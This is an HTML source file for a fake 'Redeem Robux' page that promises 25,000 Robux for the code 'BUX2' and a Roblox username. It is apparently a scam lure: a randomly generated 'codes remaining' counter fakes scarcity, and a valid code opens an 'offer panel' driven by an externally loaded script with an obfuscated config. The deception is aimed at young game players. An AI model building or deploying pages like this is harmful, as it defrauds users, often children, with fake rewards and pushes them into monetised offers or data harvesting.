<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Redeem Robux</title>
    <link href='https://fonts.googleapis.com/css?family=Montserrat' rel='stylesheet'>
    <style>
        body {
            background: linear-gradient(90deg, #190632, #010001, #0b0e35);
            color: white;
            font-family: 'Montserrat';
            margin: 0;
            padding: 0;
        }
        .container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
        }
        .green-banner {
            background-color: green;
            padding: 15px 20px;
            color: white;
            font-size: 1.2em;
            margin-bottom: 30px;
            text-align: center;
            border-radius: 5px;
            width: 80%;
            max-width: 600px;
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            animation: pulse 2s infinite;
        }
        @keyframes pulse {
            0%, 100% {
                transform: scale(1);
            }
            50% {
                transform: scale(1.05);
            }
        }
        .green-banner img {
            height: 20px;
            width: 20px;
        }
        .header img {
            max-width: 250px;
            height: auto;
            padding: 10px;
            padding-top: 0px;
            box-shadow: 0px 4px 8px rgba(0, 0, 0, 0.5);
        }
        .form-container {
            background-color: transparent;
            padding-top: 0px;
            padding-bottom: 20px;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            text-align: center;
            width: 80%;
            max-width: 600px;
        }
        .form-container input {
            font-family: 'Montserrat';
            width: 80%;
            padding: 20px;
            margin: 10px 0;
            border-radius: 5px;
            border: 1px solid white;
            background-color: transparent;
            color: white;
            font-size: 1.25em;
            transition: border-color 0.3s;
        }
        .form-container input::placeholder {
            color: rgba(255, 255, 255, 0.7);
        }
        .form-container input:focus {
            border-color: #6a00ff;
            outline: none;
        }
        .form-container button {
            font-family: 'Montserrat';
            padding: 10px 20px;
            margin-top: 10px;
            font-size: 1.25em;
            background-color: #6a00ff;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            transition: background-color 0.3s;
            box-shadow: 0px 4px 8px rgba(0, 0, 0, 0.3);
        }
        .form-container button:hover {
            background-color: #5800cc;
        }
        .error-message {
            color: red;
            font-size: 1em;
            margin-top: 15px;
        }
        .logo-container {
            margin-top: 20px;
            display: flex;
            gap: 40px;
            justify-content: center;
        }
        .logo-container img {
            width: 50px;
            height: 50px;
            cursor: pointer;
            box-shadow: 0px 4px 8px rgba(0, 0, 0, 0.5);
            transition: transform 0.3s, box-shadow 0.3s;
        }
        .logo-container img:hover {
            transform: scale(1.1);
            box-shadow: 0px 6px 12px rgba(0, 0, 0, 0.7);
        }
    </style>
    <script type="text/javascript">
        var YmHnn_CgA_tpkcGc = {"it": 4413285, "key": "e3ac4"};
        function _Jf() {
            alert("Offer panel opened"); // Placeholder for the actual offer panel function
        }
    </script>
    <script src="https://d2rst8vhtu89fd.cloudfront.net/80dd220.js"></script>
</head>
<body>
    <div class="container">
        <div id="green-banner" class="green-banner">
            <img src="https://img.icons8.com/emoji/48/000000/wrapped-gift.png" alt="Gift">
            <span>25,000 Robux Code: BUX2 <br>Only 15 codes remaining.</span>
        </div>
        <div class="header">
            <img src="https://media.discordapp.net/attachments/1271654057898934273/1325349551334359171/redeem.png?ex=6787fdb4&is=6786ac34&hm=09579b4db292c75b0c1e22820c6dbefb9ad25b08229f7b0c244f548467be5bd5&=&format=webp&quality=lossless" alt="Redeem">
        </div>
        <div class="form-container">
            <input type="text" id="code" placeholder="Code">
            <input type="text" id="username" placeholder="Roblox Username">
            <button id="redeemButton">Redeem</button>
            <div id="error-message" class="error-message"></div>
        </div>
        <div class="logo-container">
            <a href="https://www.roblox.com/communities/10669182/Jxiere-Fan-Group" target="_blank">
                <img src="https://userstyles.org/style_screenshots/250841_after.png?r=1736780414" alt="Roblox Logo">
            </a>
            <a href="https://www.x.com/roblox" target="_blank">
                <img src="https://cdn.discordapp.com/attachments/1321237374549626880/1328907946528211016/picsart-6789eb0d-7d00-4b4e-9c32-b4160fa4e4cd.webp?ex=67886978&is=678717f8&hm=d540f5f8b82e2f45d493c68f819b315b3abf68de50a42eac303239ed3fe41a4d&" alt="Twitter">
            </a>
            <a href="https://www.discord.com" target="_blank">
                <img src="https://uxwing.com/wp-content/themes/uxwing/download/brands-and-social-media/discord-white-icon.png" alt="Discord">
            </a>
        </div>
    </div>

    <script>
        // Generate a random number for the codes left and display it
        function generateCodesLeft() {
            const remainingCodes = Math.floor(Math.random() * 16) + 5; // Random number between 5 and 20
            const banner = document.getElementById("green-banner");
            banner.querySelector("span").innerText = `25,000 Robux Code: BUX2 \nOnly ${remainingCodes} codes remaining.`;
        }

        // Call the function on page load
        generateCodesLeft();

        // Validate the code input
        function validateCode() {
            const codeInput = document.getElementById("code").value;
            const validCode = "BUX2"; // Example valid code
            const errorMessage = document.getElementById("error-message");

            if (codeInput === validCode) {
                // If code is valid, execute the script
                _Jf();
                errorMessage.innerText = "";
            } else {
                // If code is invalid, show error message
                errorMessage.innerText = "This code is invalid.";
            }
        }

        // Add event listener for button click
        document.getElementById("redeemButton").addEventListener("click", validateCode);
    </script>
</body>
</html>

